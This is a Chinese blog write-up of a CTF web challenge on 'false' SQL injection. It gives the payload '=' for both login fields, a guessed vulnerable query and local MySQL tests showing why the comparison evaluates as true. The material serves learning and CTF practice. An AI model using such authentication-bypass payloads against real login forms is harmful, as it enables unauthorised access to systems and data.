

# CTF实验吧-登陆一下好吗??【false SQL注入】

原创

Sp4rkW 于 2017-07-21 11:55:18 发布 4467 收藏 1

文章标签: [ctf实验吧](#) [web](#)

版权声明: 本文为博主原创文章, 遵循 [CC 4.0 BY-SA](#) 版权协议, 转载请附上原文出处链接和本声明。

本文链接: [https://blog.csdn.net/wy\\_97/article/details/75635661](https://blog.csdn.net/wy_97/article/details/75635661)

版权



[ctf相关](#) 专栏收录该内容

47 篇文章 5 订阅

订阅专栏

原题链接: <http://ctf5.shiyanbar.com/web/wonderkun/web/index.html>

第一次见到这个, 首先的想法自然是or, 还有bp看看有没有什么可能存在flag的地方, 思考许久, 实在想不到, 参考了大佬们的write up

思路都是

admin-> '='

password-> '='

不难猜到数据库存取数据时语句为

```
$sql = "select user from flag where user='\$_POST['user']' and password='\$_POST['password']'";
```

如果我们按照上面输入就成了

```
$sql = "select user from flag where user='=' and password='=''";
```

大佬们对此的解释为:

```
$sql = "select user from flag where 1 and 1";
```

对于这个地方还是有点难以理解, 自己在本地mysql数据库创建了一个test, 进行了一些测试:

这是test表内的内容:

```
mysql> select * from test
-> ;
+----+-----+
| username | password |
+----+-----+
| 1        | a        |
| 2        | b        |
| 3        | c        |
+----+-----+
3 rows in set (0.00 sec)
```

然后对题解内容进行了代码测试，除了图示两种，其他均返回空：

```
mysql> select * from test where username = '0'='0';
```

username	password
1	a
2	b
3	c

```
3 rows in set (0.00 sec)
```

```
mysql> select * from test where username = ' '= ' ';
```

username	password
1	a
2	b
3	c

```
3 rows in set (0.00 sec)
```

[http://blog.csdn.net/wy\\_97](http://blog.csdn.net/wy_97)

本来想将 '=' 这种返回值打印出来看看究竟是啥，可是select并不支持：

```
mysql> username='0'='0';
```

```
ERROR 1064 (42000): You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'username='0'='0'' at line 1
```

```
mysql> select "'0'='0'"
```

```
-> ;
```

'0'='0'
'0'='0'

```
1 row in set (0.00 sec)
```

[http://blog.csdn.net/wy\\_97](http://blog.csdn.net/wy_97)

增加：参考资料<http://bobao.360.cn/learning/detail/3804.html>

很详细